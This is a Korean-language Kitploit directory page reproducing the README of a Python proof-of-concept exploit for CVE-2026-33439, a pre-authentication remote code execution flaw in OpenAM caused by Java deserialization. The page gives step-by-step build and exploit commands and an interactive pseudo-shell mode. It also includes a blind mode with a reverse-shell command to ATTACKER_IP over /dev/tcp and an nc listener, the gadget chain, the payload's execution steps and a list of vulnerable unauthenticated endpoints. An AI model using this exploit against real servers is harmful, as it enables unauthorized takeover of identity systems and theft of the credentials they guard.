Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33439-PoC — Python PoC로, jato.clientSession 파라미터의 Java 역직렬화를 통해 OpenAM에서 발생하는 사전 인증 RCE인 CVE-2026-33439를 익스플로잇하며, 대화형 및 블라인드 셸 모드를 지원합니다. | Kitploit
도구/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubjonaschen0103/cve-2026-33439-poc

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33439-PoC

Python PoC로, jato.clientSession 파라미터의 Java 역직렬화를 통해 OpenAM에서 발생하는 사전 인증 RCE인 CVE-2026-33439를 익스플로잇하며, 대화형 및 블라인드 셸 모드를 지원합니다.

저장소 보기
4시간 48분 전아직 검토되지 않음

CVE-2026-33439 — OpenAM 인증 전 RCE

OpenIdentityPlatform OpenAM <= 16.0.5에서 jato.clientSession 파라미터의 안전하지 않은 Java 역직렬화를 통한 인증 전 원격 코드 실행 (CVSS 9.8).

승인된 보안 테스트 전용.

빠른 시작

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

요구 사항

  • Python 3.10+ (표준 라이브러리만 사용, pip install 불필요)
  • JDK 21 (build.py용 — 대상 서버의 JVM 버전과 일치해야 함; JDK 25는 호환되지 않는 직렬화 객체를 생성함)

두 가지 모드

대화형 모드 (기본) — HTTP 응답으로 출력

EvilTranslet은 요청에서 cmd HTTP 헤더를 읽어 실행하고, stdout을 HTTP 응답에 직접 기록합니다. 리스너가 필요하지 않습니다.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

블라인드 모드 — 리버스 셸 / OOB용

명령이 EvilTranslet 바이트코드에 내장됩니다. 출력이 반환되지 않으므로, 콜백을 수신하려면 리스너(nc 등)를 사용하십시오.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

모든 옵션

build.py

exploit.py

페이로드 투명성

모든 소스 코드는 저장소에 있습니다 — 불투명한 블롭은 없습니다. Java 소스는 build.py에 읽을 수 있는 문자열 상수로 포함되어 있습니다. 빌드 후 출력을 검증하십시오:

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

가젯 체인

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (대화형 모드)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — 웹앱 클래스로더를 통해 HTTP 요청/응답 가져오기
  2. request.getHeader("cmd") — 명령 읽기
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — 실행
  4. response.reset() — 이전 JSP 출력 지우기
  5. stdout을 text/plain으로 응답에 기록한 후 출력 스트림 닫기

EvilTranslet (블라인드 모드)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — 실행 후 무시

취약한 엔드포인트

인증 전 접근 가능한 <jato:form> 태그를 렌더링하는 모든 JATO ViewBean 엔드포인트:

엔드포인트비고
/openam/ui/PWResetUserValidation비밀번호 재설정 (가장 안정적)
/openam/ui/PWResetQuestion비밀번호 재설정 보안 질문
/openam/ui/Login로그인 페이지

문제 해결

참고 자료

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

라이선스

MIT

도구 다운로드
플래그설명
(플래그 없음)대화형 페이로드 빌드 (런타임에 cmd 헤더를 읽음)
--command "CMD"CMD를 바이트코드에 내장한 블라인드 페이로드 빌드
--jars DIR다운로드 대신 로컬 JAR 디렉터리 사용 (기본값: ./libs)
--download-onlyJAR만 다운로드하고 컴파일하지 않음
플래그설명
--url URL대상 URL (필수) — 전체 엔드포인트 또는 --probe/--all과 함께 사용하는 기본 URL
--shell대화형 의사 셸 (대화형 모드)
--probe기본 URL에서 취약한 엔드포인트 자동 탐지
--all모든 JATO 엔드포인트에 페이로드 전달 (블라인드 모드)
--method GET|POSTHTTP 전달 방식 (기본값: GET)
--proxy URLHTTP 프록시 (예: Burp용 http://127.0.0.1:8080)
--timeout SECS요청 타임아웃 (기본값: 15)
--verify-tlsTLS 인증서 검증 활성화
--debug요청/응답 세부 정보 표시
증상원인해결
명령 출력 대신 HTML 페이지 반환JSP가 응답을 덮어씀대화형 페이로드와 함께 --shell 사용; 또는 블라인드 모드로 전환
역직렬화가 트리거되지 않음JDK 버전 불일치JDK 21로 재빌드: export JAVA_HOME=/path/to/jdk-21
TLS 핸드셰이크 타임아웃서버가 SNI 호스트명 요구/etc/hosts에 대상 추가 후 IP가 아닌 호스트명 사용
javac를 찾을 수 없음JDK 미설치apt install openjdk-21-jdk